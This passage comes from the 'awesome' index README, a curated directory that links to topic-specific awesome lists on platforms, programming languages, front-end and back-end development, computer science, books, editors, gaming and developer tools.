<a href="https://keygen.sh">
<div>
<img src="https://sindresorhus.com/assets/thanks/keygen-logo.svg" width="210" alt="Keygen">
</div>
<b>A dead-simple software licensing and distribution API built for developers</b>
</a>
</p>
<hr>
<br>
<br>
<br>
<br>
</div>
<p align="center">
<a href="awesome.md">What is an awesome list?</a>
<a href="contributing.md">Contribution guide</a>
<a href="create-list.md">Creating a list</a>
<a href="https://twitter.com/awesome__re">Twitter</a>
<a href="https://www.redbubble.com/people/sindresorhus/works/30364188-awesome-logo">Stickers & t-shirts</a>
</p>
<br>
<div align="center">
<b>Follow the <a href="https://twitter.com/awesome__re">Awesome Twitter account</a> for updates on new list additions.</b>
</div>
<br>
<p align="center">
<sub>Just type <a href="https://awesome.re"><code>awesome.re</code></a> to go here. Check out my <a href="https://blog.sindresorhus.com">blog</a> and follow me on <a href="https://twitter.com/sindresorhus">Twitter</a>.</sub>
</p>
<br>
## Contents
- [Platforms](#platforms)
- [Programming Languages](#programming-languages)
- [Front-End Development](#front-end-development)
- [Back-End Development](#back-end-development)
- [Computer Science](#computer-science)
- [Big Data](#big-data)
- [Theory](#theory)
- [Books](#books)
- [Editors](#editors)
- [Gaming](#gaming)
- [Development Environment](#development-environment)
- [Entertainment](#entertainment)
- [Databases](#databases)
- [Media](#media)
- [Learn](#learn)
- [Security](#security)
- [Content Management Systems](#content-management-systems)
- [Hardware](#hardware)
- [Business](#business)
- [Work](#work)
- [Networking](#networking)
- [Decentralized Systems](#decentralized-systems)
- [Higher Education](#higher-education)
- [Events](#events)
- [Testing](#testing)
- [Miscellaneous](#miscellaneous)
- [Related](#related)
## Platforms
- [Node.js](https://github.com/sindresorhus/awesome-nodejs#readme) - Async non-blocking event-driven JavaScript runtime built on Chrome's V8 JavaScript engine.
- [Cross-Platform](https://github.com/bcoe/awesome-cross-platform-nodejs#readme) - Writing cross-platform code on Node.js.
- [Frontend Development](https://github.com/dypsilon/frontend-dev-bookmarks#readme)
- [iOS](https://github.com/vsouza/awesome-ios#readme) - Mobile operating system for Apple phones and tablets.
- [Android](https://github.com/JStumpp/awesome-android#readme) - Mobile operating system developed by Google.
- [IoT & Hybrid Apps](https://github.com/weblancaster/awesome-IoT-hybrid#readme)
- [Electron](https://github.com/sindresorhus/awesome-electron#readme) - Cross-platform native desktop apps using JavaScript/HTML/CSS.
- [Cordova](https://github.com/busterc/awesome-cordova#readme) - JavaScript API for hybrid apps.
- [React Native](https://github.com/jondot/awesome-react-native#readme) - JavaScript framework for writing natively rendering mobile apps for iOS and Android.
- [Xamarin](https://github.com/XamSome/awesome-xamarin#readme) - Mobile app development IDE, testing, and distribution.
- [Linux](https://github.com/inputsh/awesome-linux#readme)
- [Containers](https://github.com/Friz-zy/awesome-linux-containers#readme)
- [eBPF](https://github.com/zoidbergwill/awesome-ebpf#readme) - Virtual machine that allows you to write more efficient and powerful tracing and monitoring for Linux systems.
- [Arch-based Projects](https://github.com/PandaFoss/Awesome-Arch#readme) - Linux distributions and projects based on Arch Linux.
- [AppImage](https://github.com/AppImage/awesome-appimage#readme) - Package apps in a single file that works on various mainstream Linux distributions.
- [macOS](https://github.com/iCHAIT/awesome-macOS#readme) - Operating system for Apple's Mac computers.
- [Screensavers](https://github.com/agarrharr/awesome-macos-screensavers#readme)
- [Apps](https://github.com/jaywcjlove/awesome-mac#readme)
- [Open Source Apps](https://github.com/serhii-londar/open-source-mac-os-apps#readme)
- [watchOS](https://github.com/yenchenlin/awesome-watchos#readme) - Operating system for the Apple Watch.
- [JVM](https://github.com/deephacks/awesome-jvm#readme)
- [Salesforce](https://github.com/mailtoharshit/awesome-salesforce#readme)
- [Amazon Web Services](https://github.com/donnemartin/awesome-aws#readme)
- [Windows](https://github.com/Awesome-Windows/Awesome#readme)
- [IPFS](https://github.com/ipfs/awesome-ipfs#readme) - P2P hypermedia protocol.
- [Fuse](https://github.com/fuse-compound/awesome-fuse#readme) - Mobile development tools.
- [Heroku](https://github.com/ianstormtaylor/awesome-heroku#readme) - Cloud platform as a service.
- [Raspberry Pi](https://github.com/thibmaek/awesome-raspberry-pi#readme) - Credit card-sized computer aimed at teaching kids programming, but capable of a lot more.
- [Qt](https://github.com/JesseTG/awesome-qt#readme) - Cross-platform GUI app framework.
- [WebExtensions](https://github.com/fregante/Awesome-WebExtensions#readme) - Cross-browser extension system.
- [RubyMotion](https://github.com/motion-open-source/awesome-rubymotion#readme) - Write cross-platform native apps for iOS, Android, macOS, tvOS, and watchOS in Ruby.
- [Smart TV](https://github.com/vitalets/awesome-smart-tv#readme) - Create apps for different TV platforms.
- [GNOME](https://github.com/Kazhnuz/awesome-gnome#readme) - Simple and distraction-free desktop environment for Linux.
- [KDE](https://github.com/francoism90/awesome-kde#readme) - A free software community dedicated to creating an open and user-friendly computing experience.
- [.NET](https://github.com/quozd/awesome-dotnet#readme)
- [Core](https://github.com/thangchung/awesome-dotnet-core#readme)
- [Roslyn](https://github.com/ironcev/awesome-roslyn#readme) - Open-source compilers and code analysis APIs for C# and VB.NET languages.
- [Amazon Alexa](https://github.com/miguelmota/awesome-amazon-alexa#readme) - Virtual home assistant.
- [DigitalOcean](https://github.com/jonleibowitz/awesome-digitalocean#readme) - Cloud computing platform designed for developers.
- [Flutter](https://github.com/Solido/awesome-flutter#readme) - Google's mobile SDK for building native iOS and Android apps from a single codebase written in Dart.
- [Home Assistant](https://github.com/frenck/awesome-home-assistant#readme) - Open source home automation that puts local control and privacy first.
- [IBM Cloud](https://github.com/victorshinya/awesome-ibmcloud#readme) - Cloud platform for developers and companies.
- [Firebase](https://github.com/jthegedus/awesome-firebase#readme) - App development platform built on Google Cloud Platform.
- [Robot Operating System 2.0](https://github.com/fkromer/awesome-ros2#readme) - Set of software libraries and tools that help you build robot apps.
- [Adafruit IO](https://github.com/adafruit/awesome-adafruitio#readme) - Visualize and store data from any device.
- [Cloudflare](https://github.com/irazasyed/awesome-cloudflare#readme) - CDN, DNS, DDoS protection, and security for your site.
- [Actions on Google](https://github.com/ravirupareliya/awesome-actions-on-google#readme) - Developer platform for Google Assistant.
- [ESP](https://github.com/agucova/awesome-esp#readme) - Low-cost microcontrollers with WiFi and broad IoT applications.
- [Deno](https://github.com/denolib/awesome-deno#readme) - A secure runtime for JavaScript and TypeScript that uses V8 and is built in Rust.
- [DOS](https://github.com/balintkissdev/awesome-dos#readme) - Operating system for x86-based personal computers that was popular during the 1980s and early 1990s.
- [Nix](https://github.com/nix-community/awesome-nix#readme) - Package manager for Linux and other Unix systems that makes package management reliable and reproducible.
- [Integration](https://github.com/stn1slv/awesome-integration#readme) - Linking together different IT systems (components) to functionally cooperate as a whole.
## Programming Languages
- [JavaScript](https://github.com/sorrycc/awesome-javascript#readme)
- [Promises](https://github.com/wbinnssmith/awesome-promises#readme)
- [Standard Style](https://github.com/standard/awesome-standard#readme) - Style guide and linter.
- [Must Watch Talks](https://github.com/bolshchikov/js-must-watch#readme)
- [Tips](https://github.com/loverajoel/jstips#readme)
- [Network Layer](https://github.com/Kikobeats/awesome-network-js#readme)
- [Micro npm Packages](https://github.com/parro-it/awesome-micro-npm-packages#readme)
- [Mad Science npm Packages](https://github.com/feross/awesome-mad-science#readme) - Impossible sounding projects that exist.
- [Maintenance Modules](https://github.com/maxogden/maintenance-modules#readme) - For npm packages.
- [npm](https://github.com/sindresorhus/awesome-npm#readme) - Package manager.
- [AVA](https://github.com/avajs/awesome-ava#readme) - Test runner.
- [ESLint](https://github.com/dustinspecker/awesome-eslint#readme) - Linter.
- [Functional Programming](https://github.com/stoeffel/awesome-fp-js#readme)
- [Observables](https://github.com/sindresorhus/awesome-observables#readme)
- [npm scripts](https://github.com/RyanZim/awesome-npm-scripts#readme) - Task runner.
- [30 Seconds of Code](https://github.com/30-seconds/30-seconds-of-code#readme) - Code snippets you can understand in 30 seconds.
- [Ponyfills](https://github.com/Richienb/awesome-ponyfills#readme) - Like polyfills but without overriding native APIs.
- [Swift](https://github.com/matteocrippa/awesome-swift#readme) - Apple's compiled programming language that is secure, modern, programmer-friendly, and fast.
- [Education](https://github.com/hsavit1/Awesome-Swift-Education#readme)
- [Playgrounds](https://github.com/uraimo/Awesome-Swift-Playgrounds#readme)
- [Python](https://github.com/vinta/awesome-python#readme) - General-purpose programming language designed for readability.
- [Asyncio](https://github.com/timofurrer/awesome-asyncio#readme) - Asynchronous I/O in Python 3.
- [Scientific Audio](https://github.com/faroit/awesome-python-scientific-audio#readme) - Scientific research in audio/music.
- [CircuitPython](https://github.com/adafruit/awesome-circuitpython#readme) - A version of Python for microcontrollers.
- [Data Science](https://github.com/krzjoa/awesome-python-data-science#readme) - Data analysis and machine learning.
- [Typing](https://github.com/typeddjango/awesome-python-typing#readme) - Optional static typing for Python.
- [MicroPython](https://github.com/mcauser/awesome-micropython#readme) - A lean and efficient implementation of Python 3 for microcontrollers.
- [Rust](https://github.com/rust-unofficial/awesome-rust#readme)
- [Haskell](https://github.com/krispo/awesome-haskell#readme)
- [PureScript](https://github.com/passy/awesome-purescript#readme)
- [Go](https://github.com/avelino/awesome-go#readme)
- [Scala](https://github.com/lauris/awesome-scala#readme)
- [Scala Native](https://github.com/tindzk/awesome-scala-native#readme) - Optimizing ahead-of-time compiler for Scala based on LLVM.
- [Ruby](https://github.com/markets/awesome-ruby#readme)
- [Clojure](https://github.com/razum2um/awesome-clojure#readme)
- [ClojureScript](https://github.com/hantuzun/awesome-clojurescript#readme)
- [Elixir](https://github.com/h4cc/awesome-elixir#readme)
- [Elm](https://github.com/sporto/awesome-elm#readme)
- [Erlang](https://github.com/drobakowski/awesome-erlang#readme)
- [Julia](https://github.com/svaksha/Julia.jl#readme) - High-level dynamic programming language designed to address the needs of high-performance numerical analysis and computational science.
- [Lua](https://github.com/LewisJEllis/awesome-lua#readme)
- [C](https://github.com/inputsh/awesome-c#readme)
- [C/C++](https://github.com/fffaraz/awesome-cpp#readme) - General-purpose language with a bias toward system programming and embedded, resource-constrained software.
- [R](https://github.com/qinwf/awesome-R#readme) - Functional programming language and environment for statistical computing and graphics.
- [Learning](https://github.com/iamericfletcher/awesome-r-learning-resources#readme)
- [D](https://github.com/dlang-community/awesome-d#readme)
- [Common Lisp](https://github.com/CodyReichert/awesome-cl#readme) - Powerful dynamic multiparadigm language that facilitates iterative and interactive development.
- [Learning](https://github.com/GustavBertram/awesome-common-lisp-learning#readme)
- [Perl](https://github.com/hachiojipm/awesome-perl#readme)
- [Groovy](https://github.com/kdabir/awesome-groovy#readme)
- [Dart](https://github.com/yissachar/awesome-dart#readme)
- [Java](https://github.com/akullpp/awesome-java#readme) - Popular secure object-oriented language designed for flexibility to "write once, run anywhere".
- [RxJava](https://github.com/eleventigers/awesome-rxjava#readme)
- [Kotlin](https://github.com/KotlinBy/awesome-kotlin#readme)
- [OCaml](https://github.com/ocaml-community/awesome-ocaml#readme)
- [ColdFusion](https://github.com/seancoyne/awesome-coldfusion#readme)
- [Fortran](https://github.com/rabbiabram/awesome-fortran#readme)
- [PHP](https://github.com/ziadoz/awesome-php#readme) - Server-side scripting language.
- [Composer](https://github.com/jakoch/awesome-composer#readme) - Package manager.
- [Pascal](https://github.com/Fr0sT-Brutal/awesome-pascal#readme)
- [AutoHotkey](https://github.com/ahkscript/awesome-AutoHotkey#readme)
- [AutoIt](https://github.com/J2TeaM/awesome-AutoIt#readme)
- [Crystal](https://github.com/veelenga/awesome-crystal#readme)
- [Frege](https://github.com/sfischer13/awesome-frege#readme) - Haskell for the JVM.
- [CMake](https://github.com/onqtam/awesome-cmake#readme) - Build, test, and package software.
- [ActionScript 3](https://github.com/robinrodricks/awesome-actionscript3#readme) - Object-oriented language targeting Adobe AIR.
- [Eta](https://github.com/sfischer13/awesome-eta#readme) - Functional programming language for the JVM.
- [Idris](https://github.com/joaomilho/awesome-idris#readme) - General purpose pure functional programming language with dependent types influenced by Haskell and ML.
- [Ada/SPARK](https://github.com/ohenley/awesome-ada#readme) - Modern programming language designed for large, long-lived apps where reliability and efficiency are essential.
- [Q#](https://github.com/ebraminio/awesome-qsharp#readme) - Domain-specific programming language used for expressing quantum algorithms.
- [Imba](https://github.com/koolamusic/awesome-imba#readme) - Programming language inspired by Ruby and Python and compiles to performant JavaScript.
- [Vala](https://github.com/desiderantes/awesome-vala#readme) - Programming language designed to take full advantage of the GLib and GNOME ecosystems, while preserving the speed of C code.
- [Coq](https://github.com/coq-community/awesome-coq#readme) - Formal language and environment for programming and specification which facilitates interactive development of machine-checked proofs.
- [V](https://github.com/vlang/awesome-v#readme) - Simple, fast, safe, compiled language for developing maintainable software.
## Front-End Development
- [ES6 Tools](https://github.com/addyosmani/es6-tools#readme)
- [Web Performance Optimization](https://github.com/davidsonfellipe/awesome-wpo#readme)
- [Web Tools](https://github.com/lvwzhen/tools#readme)
- [CSS](https://github.com/awesome-css-group/awesome-css#readme) - Style sheet language that specifies how HTML elements are displayed on screen.
- [Critical-Path Tools](https://github.com/addyosmani/critical-path-css-tools#readme)
- [Scalability](https://github.com/davidtheclark/scalable-css-reading-list#readme)
- [Must-Watch Talks](https://github.com/AllThingsSmitty/must-watch-css#readme)
- [Protips](https://github.com/AllThingsSmitty/css-protips#readme)
- [Frameworks](https://github.com/troxler/awesome-css-frameworks#readme)
- [React](https://github.com/enaqx/awesome-react#readme) - App framework.
- [Relay](https://github.com/expede/awesome-relay#readme) - Framework for building data-driven React apps.
- [React Hooks](https://github.com/glauberfc/awesome-react-hooks#readme) - A new feature that lets you use state and other React features without writing a class.
- [Web Components](https://github.com/mateusortiz/webcomponents-the-right-way#readme)
- [Polymer](https://github.com/Granze/awesome-polymer#readme) - JavaScript library to develop Web Components.
- [Angular](https://github.com/PatrickJS/awesome-angular#readme) - App framework.
- [Backbone](https://github.com/sadcitizen/awesome-backbone#readme) - App framework.
- [HTML5](https://github.com/diegocard/awesome-html5#readme) - Markup language used for websites & web apps.
- [SVG](https://github.com/willianjusten/awesome-svg#readme) - XML-based vector image format.
- [Canvas](https://github.com/raphamorim/awesome-canvas#readme)
- [KnockoutJS](https://github.com/dnbard/awesome-knockout#readme) - JavaScript library.
- [Dojo Toolkit](https://github.com/petk/awesome-dojo#readme) - JavaScript toolkit.
- [Inspiration](https://github.com/NoahBuscher/Inspire#readme)
- [Ember](https://github.com/ember-community-russia/awesome-ember#readme) - App framework.
- [Android UI](https://github.com/wasabeef/awesome-android-ui#readme)
- [iOS UI](https://github.com/cjwirth/awesome-ios-ui#readme)
- [Meteor](https://github.com/Urigo/awesome-meteor#readme)
- [BEM](https://github.com/sturobson/BEM-resources#readme)
- [Flexbox](https://github.com/afonsopacifer/awesome-flexbox#readme)
- [Web Typography](https://github.com/deanhume/typography#readme)
- [Web Accessibility](https://github.com/brunopulis/awesome-a11y#readme)
- [Material Design](https://github.com/sachin1092/awesome-material#readme)
- [D3](https://github.com/wbkd/awesome-d3#readme) - Library for producing dynamic, interactive data visualizations.
- [Emails](https://github.com/jonathandion/awesome-emails#readme)
- [jQuery](https://github.com/petk/awesome-jquery#readme) - Easy to use JavaScript library for DOM manipulation.
- [Tips](https://github.com/AllThingsSmitty/jquery-tips-everyone-should-know#readme)
- [Web Audio](https://github.com/notthetup/awesome-webaudio#readme)
- [Offline-First](https://github.com/pazguille/offline-first#readme)
- [Static Website Services](https://github.com/agarrharr/awesome-static-website-services#readme)
- [Cycle.js](https://github.com/cyclejs-community/awesome-cyclejs#readme) - Functional and reactive JavaScript framework.
- [Text Editing](https://github.com/dok/awesome-text-editing#readme)
- [Motion UI Design](https://github.com/fliptheweb/motion-ui-design#readme)
- [Vue.js](https://github.com/vuejs/awesome-vue#readme) - App framework.
- [Marionette.js](https://github.com/sadcitizen/awesome-marionette#readme) - App framework.
- [Aurelia](https://github.com/aurelia-contrib/awesome-aurelia#readme) - App framework.
- [Charting](https://github.com/zingchart/awesome-charting#readme)
- [Ionic Framework 2](https://github.com/candelibas/awesome-ionic#readme)
- [Chrome DevTools](https://github.com/ChromeDevTools/awesome-chrome-devtools#readme)
- [PostCSS](https://github.com/jdrgomes/awesome-postcss#readme) - CSS tool.
- [Draft.js](https://github.com/nikgraf/awesome-draft-js#readme) - Rich text editor framework for React.
- [Service Workers](https://github.com/TalAter/awesome-service-workers#readme)
- [Progressive Web Apps](https://github.com/TalAter/awesome-progressive-web-apps#readme)
- [choo](https://github.com/choojs/awesome-choo#readme) - App framework.
- [Redux](https://github.com/brillout/awesome-redux#readme) - State container for JavaScript apps.
- [Browserify](https://github.com/browserify/awesome-browserify#readme) - Module bundler.
- [Sass](https://github.com/Famolus/awesome-sass#readme) - CSS preprocessor.
- [Ant Design](https://github.com/websemantics/awesome-ant-design#readme) - Enterprise-class UI design language.
- [Less](https://github.com/LucasBassetti/awesome-less#readme) - CSS preprocessor.
- [WebGL](https://github.com/sjfricke/awesome-webgl#readme) - JavaScript API for rendering 3D graphics.
- [Preact](https://github.com/preactjs/awesome-preact#readme) - App framework.
- [Progressive Enhancement](https://github.com/jbmoelker/progressive-enhancement-resources#readme)
- [Next.js](https://github.com/unicodeveloper/awesome-nextjs#readme) - Framework for server-rendered React apps.
- [lit-html](https://github.com/web-padawan/awesome-lit-html#readme) - HTML templating library for JavaScript.
- [JAMstack](https://github.com/automata/awesome-jamstack#readme) - Modern web development architecture based on client-side JavaScript, reusable APIs, and prebuilt markup.
- [WordPress-Gatsby](https://github.com/henrikwirth/awesome-wordpress-gatsby#readme) - Web development technology stack with WordPress as a back end and Gatsby as a front end.
- [Mobile Web Development](https://github.com/myshov/awesome-mobile-web-development#readme) - Creating a great mobile web experience.
- [Storybook](https://github.com/lauthieb/awesome-storybook#readme) - Development environment for UI components.
- [Blazor](https://github.com/AdrienTorris/awesome-blazor#readme) - .NET web framework using C#/Razor and HTML that runs in the browser with WebAssembly.
- [PageSpeed Metrics](https://github.com/csabapalfi/awesome-pagespeed-metrics#readme) - Metrics to help understand page speed and user experience.
- [Tailwind CSS](https://github.com/aniftyco/awesome-tailwindcss#readme) - Utility-first CSS framework for rapid UI development.
- [Seed](https://github.com/seed-rs/awesome-seed-rs#readme) - Rust framework for creating web apps running in WebAssembly.
- [Web Performance Budget](https://github.com/pajaydev/awesome-web-performance-budget#readme) - Techniques to ensure certain performance metrics for a website.
- [Web Animation](https://github.com/sergey-pimenov/awesome-web-animation#readme) - Animations in the browser with JavaScript, CSS, SVG, etc.
- [Yew](https://github.com/jetli/awesome-yew#readme) - Rust framework inspired by Elm and React for creating multi-threaded frontend web apps with WebAssembly.
- [Material-UI](https://github.com/nadunindunil/awesome-material-ui#readme) - Material Design React components for faster and easier web development.
- [Building Blocks for Web Apps](https://github.com/componently-com/awesome-building-blocks-for-web-apps#readme) - Standalone features to be integrated into web apps.
- [Svelte](https://github.com/TheComputerM/awesome-svelte#readme) - App framework.
- [Design systems](https://github.com/klaufel/awesome-design-systems#readme) - Collection of reusable components, guided by rules that ensure consistency and speed.
- [Inertia.js](https://github.com/innocenzi/awesome-inertiajs#readme) - Make single-page apps without building an API.
- [MDBootstrap](https://github.com/mdbootstrap/awesome-mdbootstrap#readme) - Templates, layouts, components, and widgets to rapidly build websites.
## Back-End Development
- [Flask](https://github.com/mjhea0/awesome-flask#readme) - Python framework.
- [Docker](https://github.com/veggiemonk/awesome-docker#readme)
- [Vagrant](https://github.com/iJackUA/awesome-vagrant#readme) - Automation virtual machine environment.
- [Pyramid](https://github.com/uralbash/awesome-pyramid#readme) - Python framework.
- [Play1 Framework](https://github.com/PerfectCarl/awesome-play1#readme)
- [CakePHP](https://github.com/friendsofcake/awesome-cakephp#readme) - PHP framework.
- [Symfony](https://github.com/sitepoint-editors/awesome-symfony#readme) - PHP framework.
- [Education](https://github.com/pehapkari/awesome-symfony-education#readme)
- [Laravel](https://github.com/chiraggude/awesome-laravel#readme) - PHP framework.
- [Education](https://github.com/fukuball/Awesome-Laravel-Education#readme)
- [TALL Stack](https://github.com/blade-ui-kit/awesome-tall-stack#readme) - Full-stack development solution featuring libraries built by the Laravel community.
- [Rails](https://github.com/gramantin/awesome-rails#readme) - Web app framework for Ruby.
- [Gems](https://github.com/hothero/awesome-rails-gem#readme) - Packages.
- [Phalcon](https://github.com/phalcon/awesome-phalcon#readme) - PHP framework.
- [Useful `.htaccess` Snippets](https://github.com/phanan/htaccess#readme)
- [nginx](https://github.com/fcambus/nginx-resources#readme) - Web server.
- [Dropwizard](https://github.com/stve/awesome-dropwizard#readme) - Java framework.
- [Kubernetes](https://github.com/ramitsurana/awesome-kubernetes#readme) - Open-source platform that automates Linux container operations.
- [Lumen](https://github.com/unicodeveloper/awesome-lumen#readme) - PHP micro-framework.
- [Serverless Framework](https://github.com/pmuens/awesome-serverless#readme) - Serverless computing and serverless architectures.
- [Apache Wicket](https://github.com/PhantomYdn/awesome-wicket#readme) - Java web app framework.
- [Vert.x](https://github.com/vert-x3/vertx-awesome#readme) - Toolkit for building reactive apps on the JVM.
- [Terraform](https://github.com/shuaibiyy/awesome-terraform#readme) - Tool for building, changing, and versioning infrastructure.
- [Vapor](https://github.com/Cellane/awesome-vapor#readme) - Server-side development in Swift.
- [Dash](https://github.com/ucg8j/awesome-dash#readme) - Python web app framework.
- [FastAPI](https://github.com/mjhea0/awesome-fastapi#readme) - Python web app framework.
- [CDK](https://github.com/kolomied/awesome-cdk#readme) - Open-source software development framework for defining cloud infrastructure in code.
- [IAM](https://github.com/kdeldycke/awesome-iam#readme) - User accounts, authentication and authorization.
## Computer Science
- [University Courses](https://github.com/prakhar1989/awesome-courses#readme)
- [Data Science](https://github.com/academic/awesome-datascience#readme)
- [Tutorials](https://github.com/siboehm/awesome-learn-datascience#readme)
- [Machine Learning](https://github.com/josephmisiti/awesome-machine-learning#readme)
- [Tutorials](https://github.com/ujjwalkarn/Machine-Learning-Tutorials#readme)
- [ML with Ruby](https://github.com/arbox/machine-learning-with-ruby#readme) - Learning, implementing, and applying Machine Learning using Ruby.
- [Core ML Models](https://github.com/likedan/Awesome-CoreML-Models#readme) - Models for Apple's machine learning framework.
- [H2O](https://github.com/h2oai/awesome-h2o#readme) - Open source distributed machine learning platform written in Java with APIs in R, Python, and Scala.
- [Software Engineering for Machine Learning](https://github.com/SE-ML/awesome-seml#readme) - From experiment to production-level machine learning.
- [AI in Finance](https://github.com/georgezouq/awesome-ai-in-finance#readme) - Solving problems in finance with machine learning.
- [JAX](https://github.com/n2cholas/awesome-jax#readme) - Automatic differentiation and XLA compilation brought together for high-performance machine learning research.
- [XAI](https://github.com/altamiracorp/awesome-xai#readme) - Providing insight, explanations, and interpretability to machine learning methods.
- [Speech and Natural Language Processing](https://github.com/edobashira/speech-language-processing#readme)
- [Spanish](https://github.com/dav009/awesome-spanish-nlp#readme)
- [NLP with Ruby](https://github.com/arbox/nlp-with-ruby#readme)
- [Question Answering](https://github.com/seriousran/awesome-qa#readme) - The science of asking and answering in natural language with a machine.
- [Natural Language Generation](https://github.com/tokenmill/awesome-nlg#readme) - Generation of text used in data to text, conversational agents, and narrative generation applications.
- [Linguistics](https://github.com/theimpossibleastronaut/awesome-linguistics#readme)
- [Cryptography](https://github.com/sobolevn/awesome-cryptography#readme)
- [Papers](https://github.com/pFarb/awesome-crypto-papers#readme) - Theory basics for using cryptography by non-cryptographers.
- [Computer Vision](https://github.com/jbhuang0604/awesome-computer-vision#readme)
- [Deep Learning](https://github.com/ChristosChristofidis/awesome-deep-learning#readme) - Neural networks.
- [TensorFlow](https://github.com/jtoy/awesome-tensorflow#readme) - Library for machine intelligence.
- [TensorFlow.js](https://github.com/aaronhma/awesome-tensorflow-js#readme) - WebGL-accelerated machine learning JavaScript library for training and deploying models.
- [TensorFlow Lite](https://github.com/margaretmz/awesome-tensorflow-lite#readme) - Framework that optimizes TensorFlow models for on-device machine learning.
- [Papers](https://github.com/terryum/awesome-deep-learning-papers#readme) - The most cited deep learning papers.
- [Education](https://github.com/guillaume-chevalier/awesome-deep-learning-resources#readme)
- [Deep Vision](https://github.com/kjw0612/awesome-deep-vision#readme)
- [Open Source Society University](https://github.com/ossu/computer-science#readme)
- [Functional Programming](https://github.com/lucasviola/awesome-functional-programming#readme)
- [Empirical Software Engineering](https://github.com/dspinellis/awesome-msr#readme) - Evidence-based research on software systems.
- [Static Analysis & Code Quality](https://github.com/analysis-tools-dev/static-analysis#readme)
- [Information Retrieval](https://github.com/harpribot/awesome-information-retrieval#readme) - Learn to develop your own search engine.
- [Quantum Computing](https://github.com/desireevl/awesome-quantum-computing#readme) - Computing which utilizes quantum mechanics and qubits on quantum computers.
- [Theoretical Computer Science](https://github.com/mostafatouny/awesome-theoretical-computer-science#readme) - The interplay of computer science and pure mathematics, distinguished by its emphasis on mathematical rigour and technique.
## Big Data
- [Big Data](https://github.com/onurakpolat/awesome-bigdata#readme)
- [Public Datasets](https://github.com/awesomedata/awesome-public-datasets#readme)
- [Hadoop](https://github.com/youngwookim/awesome-hadoop#readme) - Framework for distributed storage and processing of very large data sets.
- [Data Engineering](https://github.com/igorbarinov/awesome-data-engineering#readme)
- [Streaming](https://github.com/manuzhang/awesome-streaming#readme)
- [Apache Spark](https://github.com/awesome-spark/awesome-spark#readme) - Unified engine for large-scale data processing.
- [Qlik](https://github.com/ambster-public/awesome-qlik#readme) - Business intelligence platform for data visualization, analytics, and reporting apps.
- [Splunk](https://github.com/sduff/awesome-splunk#readme) - Platform for searching, monitoring, and analyzing structured and unstructured machine-generated big data in real-time.
## Theory
- [Papers We Love](https://github.com/papers-we-love/papers-we-love#readme)
- [Talks](https://github.com/JanVanRyswyck/awesome-talks#readme)
- [Algorithms](https://github.com/tayllan/awesome-algorithms#readme)
- [Education](https://github.com/gaerae/awesome-algorithms-education#readme) - Learning and practicing.
- [Algorithm Visualizations](https://github.com/enjalot/algovis#readme)
- [Artificial Intelligence](https://github.com/owainlewis/awesome-artificial-intelligence#readme)
- [Search Engine Optimization](https://github.com/marcobiedermann/search-engine-optimization#readme)
- [Competitive Programming](https://github.com/lnishan/awesome-competitive-programming#readme)
- [Math](https://github.com/rossant/awesome-math#readme)
- [Recursion Schemes](https://github.com/passy/awesome-recursion-schemes#readme) - Traversing nested data structures.
## Books
- [Free Programming Books](https://github.com/EbookFoundation/free-programming-books#readme)
- [Go Books](https://github.com/dariubs/GoBooks#readme)
- [R Books](https://github.com/RomanTsegelskyi/rbooks#readme)
- [Mind Expanding Books](https://github.com/hackerkid/Mind-Expanding-Books#readme)
- [Book Authoring](https://github.com/TalAter/awesome-book-authoring#readme)
- [Elixir Books](https://github.com/sger/ElixirBooks#readme)
## Editors
- [Sublime Text](https://github.com/dreikanter/sublime-bookmarks#readme)
- [Vim](https://github.com/mhinz/vim-galore#readme)
- [Neovim](https://github.com/rockerBOO/awesome-neovim#readme) - Vim-fork focused on extensibility and usability.
- [Emacs](https://github.com/emacs-tw/awesome-emacs#readme)
- [Atom](https://github.com/mehcode/awesome-atom#readme) - Open-source and hackable text editor.
- [Visual Studio Code](https://github.com/viatsko/awesome-vscode#readme) - Cross-platform open-source text editor.
## Gaming
- [Game Development](https://github.com/ellisonleao/magictools#readme)
- [Game Talks](https://github.com/hzoo/awesome-gametalks#readme)
- [Godot](https://github.com/godotengine/awesome-godot#readme) - Game engine.
- [Open Source Games](https://github.com/leereilly/games#readme)
- [Unity](https://github.com/RyanNielson/awesome-unity#readme) - Game engine.
- [Chess](https://github.com/hkirat/awesome-chess#readme)
- [LÖVE](https://github.com/love2d-community/awesome-love2d#readme) - Game engine.
- [PICO-8](https://github.com/pico-8/awesome-PICO-8#readme) - Fantasy console.
- [Game Boy Development](https://github.com/gbdev/awesome-gbdev#readme)
- [Construct 2](https://github.com/WebCreationClub/awesome-construct#readme) - Game engine.
- [Gideros](https://github.com/stetso/awesome-gideros#readme) - Game engine.
- [Minecraft](https://github.com/bs-community/awesome-minecraft#readme) - Sandbox video game.
- [Game Datasets](https://github.com/leomaurodesenv/game-datasets#readme) - Materials and datasets for Artificial Intelligence in games.
- [Haxe Game Development](https://github.com/Dvergar/awesome-haxe-gamedev#readme) - A high-level strongly typed programming language used to produce cross-platform native code.
- [libGDX](https://github.com/rafaskb/awesome-libgdx#readme) - Java game framework.
- [PlayCanvas](https://github.com/playcanvas/awesome-playcanvas#readme) - Game engine.
- [Game Remakes](https://github.com/radek-sprta/awesome-game-remakes#readme) - Actively maintained open-source game remakes.
- [Flame](https://github.com/flame-engine/awesome-flame#readme) - Game engine for Flutter.
- [Discord Communities](https://github.com/mhxion/awesome-discord-communities#readme) - Chat with friends and communities.
- [CHIP-8](https://github.com/tobiasvl/awesome-chip-8#readme) - Virtual computer game machine from the 70s.
- [Games of Coding](https://github.com/michelpereira/awesome-games-of-coding#readme) - Learn a programming language by making games.
## Development Environment
- [Quick Look Plugins](https://github.com/sindresorhus/quick-look-plugins#readme) - For macOS.
- [Dev Env](https://github.com/jondot/awesome-devenv#readme)
- [Dotfiles](https://github.com/webpro/awesome-dotfiles#readme)
- [Shell](https://github.com/alebcay/awesome-shell#readme)
- [Fish](https://github.com/jorgebucaran/awsm.fish#readme) - User-friendly shell.
- [Command-Line Apps](https://github.com/agarrharr/awesome-cli-apps#readme)
- [ZSH Plugins](https://github.com/unixorn/awesome-zsh-plugins#readme)
- [GitHub](https://github.com/phillipadsmith/awesome-github#readme) - Hosting service for Git repositories.
- [Browser Extensions](https://github.com/stefanbuck/awesome-browser-extensions-for-github#readme)
- [Cheat Sheet](https://github.com/tiimgreen/github-cheat-sheet#readme)
- [Pinned Gists](https://github.com/matchai/awesome-pinned-gists#readme) - Dynamic pinned gists for your GitHub profile.
- [Git Cheat Sheet & Git Flow](https://github.com/arslanbilal/git-cheat-sheet#readme)
- [Git Tips](https://github.com/git-tips/tips#readme)
